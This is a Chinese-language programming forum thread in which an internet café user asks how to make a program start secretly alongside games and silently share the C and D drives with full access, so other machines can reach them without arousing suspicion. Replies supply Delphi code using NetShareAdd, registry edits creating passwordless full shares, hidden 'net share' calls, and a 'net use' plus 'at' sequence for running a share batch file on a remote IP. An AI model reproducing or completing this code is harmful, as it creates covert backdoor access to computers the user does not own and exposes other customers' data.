要实现的功能:
1、可以将某个硬盘分区设置为共享。
2、可以随其他指定的程序一起运行(既其它程序启动时它也跟着启动)。我想写这个程序的原因是,我在网吧上网,有时下载了一些东西,可是下次上网时机器却被别人占了。很烦。请给出原代码,我很急!!另外,有没有可以在局域网中直接访问其他电脑中未被设置共享的分区的软件?
1、可以将某个硬盘分区设置为共享。
2、可以随其他指定的程序一起运行(既其它程序启动时它也跟着启动)。我想写这个程序的原因是,我在网吧上网,有时下载了一些东西,可是下次上网时机器却被别人占了。很烦。请给出原代码,我很急!!另外,有没有可以在局域网中直接访问其他电脑中未被设置共享的分区的软件?
at ...
net share ...
以上命令做个批处理就可以。
function NetShareAdd(AServername:Widestring; ALevel: DWORD; ABuf: PBYTE;
var AParm_err: LPDWORD ): DWORD; stdcall;
WinExec('net.exe share MyShare/delete', SW_HIDE)
这个程序要在网吧中运行,网吧中的任何机器默认是没有设置任何共享的。硬盘分为C D E三个分区,而且安装了还原精灵(只还原C分区),游戏安装在E盘。还安装有万象网管软件(但是允许下载、安装软件什么的)、诺顿杀毒软件等等。
我希望的效果是,当起动某些游戏时,这个程序跟着启动并悄悄的将C,D盘设置为完全共享。以方便我使用其他机器来访问这台机器。to: lw549(★回帖,接分,学习★)
老兄,你能不能写全啊!
to: geyobing(银翼天使)
你的方法在winxp下好使,但在Win98下根本没有net.exe文件啊。
to:ZyxIp(绝望中...)
修改注册表的方法我试验了,遗憾的是,只有在重启或注销后共享才生效,但是这样会使人起疑。见下面:
to:DWGZ()
NetShareAdd这个函数我使用了,可是没有成功,不知道错在哪?见下面:
-------------------------------------------------------------------
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Registry;type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const NETNAME_LEN = 13; PASSWORD_LEN = 9; SHI50F_RDONLY = $0001;
var
Form1: TForm1;
function NetShareAdd(servername: PChar; level: SmallInt; buf: Pointer;
buf_len: SmallInt): SmallInt; far; stdcall; external 'svrapi.dll';implementation{$R *.dfm}
type
SHARE_INFO_50 = record
netname: array[0..NETNAME_LEN - 1] of Char;
sharetype: ShortInt;
flags: SmallInt;
re: PChar;
path: PChar;
rw_password: array[0..PASSWORD_LEN - 1] of Char;
ro_password: array[0..PASSWORD_LEN - 1] of Char;
end;procedure TForm1.Button1Click(Sender: TObject); //在nt内核下才好使,我要的是在win98下的方法。
begin
WinExec('net.exe share MyShare=c:', SW_HIDE)
end;procedure TForm1.Button2Click(Sender: TObject); //采用NetShareAdd函数来启用共享,没有成功,错在哪呢?请解决!
var buf: pointer;
k: ^SHARE_INFO_50;
begin
new(k);
k^.netname := 'C:';
k^.path := 'C:';
k^.flags := 258;
k^.re := '';
buf := k;
NetShareAdd('', 50, buf, 0);
end;procedure TForm1.Button3Click(Sender: TObject); //采用修改注册表的方法来启用共享,但是只有重启或注销后共享才生效,这不是我想要的。为什么在属性中修改共享属性后会立刻生效呢?妈的?晕!
var
MyReg: TRegistry;
j: pointer;
//以下为注册表修改
begin
j := nil;
MyReg := TRegistry.Create;
MyReg.RootKey := HKEY_LOCAL_MACHINE;
MyReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C', True);
MyReg.WriteInteger('Flags', 258); //完全共享
myreg.WriteBinaryData('Parm1enc', j, 0);
myreg.WriteBinaryData('Parm2enc', j, 0);
MyReg.WriteInteger('Type', 0);
MyReg.WriteString('Path', 'C\:'); //共享
MyReg.WriteString('Re', '');
MyReg.CloseKey;
end;end.
-------------------------------------------------------------------
在使用NetShareAdd函数的时候感觉很困扰:函数TMD要先声明,要改为Delphi格式,SHARE_INFO_50结构体类型要按照C++描述的改为Delphi格式的再声明一次,妈的,怎么这么麻烦呢!要是没有超级猛料我还真不知道怎么个改法,比如说那些常量,我他妈的上哪查去啊!
type
//纪录类型声明,注意参数类型的正确对应,最好别看 delphi 的帮助,引起误导
TSHARE_INFO_502 = record
shi502_netname: PWideChar;
shi502_type: DWORD;
shi502_re: PWideChar;
shi502_permissions: DWORD;
shi502_max_uses: DWORD;
shi502_current_uses: DWORD;
shi502_path: PWideChar;
shi502_passwd: PWideChar;
shi502_reserved: DWORD;
shi502_security_descriptor: PSECURITY_DESCRIPTOR;
end;
//添加共享
function NetShareAdd(servername:Widestring; level: DWORD; Buf: PBYTE;
var parm_err: PDWORD ): DWORD; stdcall;//删除共享function NetShareDel(ServerName:Widestring; NetName: Widestring;
Reserved: DWord): Integer; StdCall;
const {共享类型} STYPE_DISKTREE = 0 ;
STYPE_PRINTQ = 1 ;
STYPE_DEVICE = 2 ;
STYPE_IPC = 3 ;
{访问权限} ACCESS_READ = 0 ; ACCESS_WRITE = 1 ; ACCESS_CREATE = 2 ; ACCESS_EXEC = 3 ; ACCESS_DELETE = 4 ; ACCESS_ALL = 7 ;//自己声明的函数,为了调用方便,参数就不用说明了吧!function ShareResource(ServerName,FilePath,NetName, Re : string): Integer;//function DeleteShare(ServerName: string; NetName: string): Integer;
implementation//注意在 windows95/98/me 下面 dll 库是 SVRAPI.DLL ,而且参数类型也要随之改变的吆!function NetShareAdd; external 'netapi32.DLL' name 'NetShareAdd';function NetShareDel; external 'netapi32.DLL' name 'NetShareDel'; function ShareResource(ServerName,FilePath,NetName, Re : string): Integer;var ShInfo: TSHARE_INFO_502; parm_err:PDWORD; _FilePath,_NetName, _Re : PWideChar ; _ServerName : Pchar ;begin GetMem(_ServerName,255) ; //分配内存 GetMem(_FilePath,255); GetMem(_NetName,255); GetMem(_Re,255); StringToWideChar(FilePath,_FilePath,255); //字符串转换,一定要转换正确 StringToWideChar(NetName,_NetName,255); StringToWideChar(Re,_Re,255); strpcopy(_ServerName,ServerName); //开始创建结构 with ShInfo do begin shi502_netname := _NetName; shi502_type := STYPE_DISKTREE ; shi502_re := _Re ; shi502_max_uses := $FFFFFFFF; shi502_current_uses := 10; shi502_path := _FilePath; shi502_passwd := nil; shi502_reserved := 0; shi502_security_descriptor := nil; shi502_permissions := ACCESS_ALL; end; try Result := NetShareAdd(_ServerName, 502, @ShInfo, parm_err); Finally // 别忘了释放内存 FreeMem(_ServerName,255); FreeMem(_FilePath,255); FreeMem(_NetName,255); FreeMem(_Re,255); end;end; end.
at ...
net share ...
以上命令做个批处理就可以。
///////////////////////////////////
net use 对方ip 用户名 密码
at 对方ip 时间 执行的批处理批处理就下面这个
net share hello=c:\这样就增加了一个叫hello的共享,打开后是c:\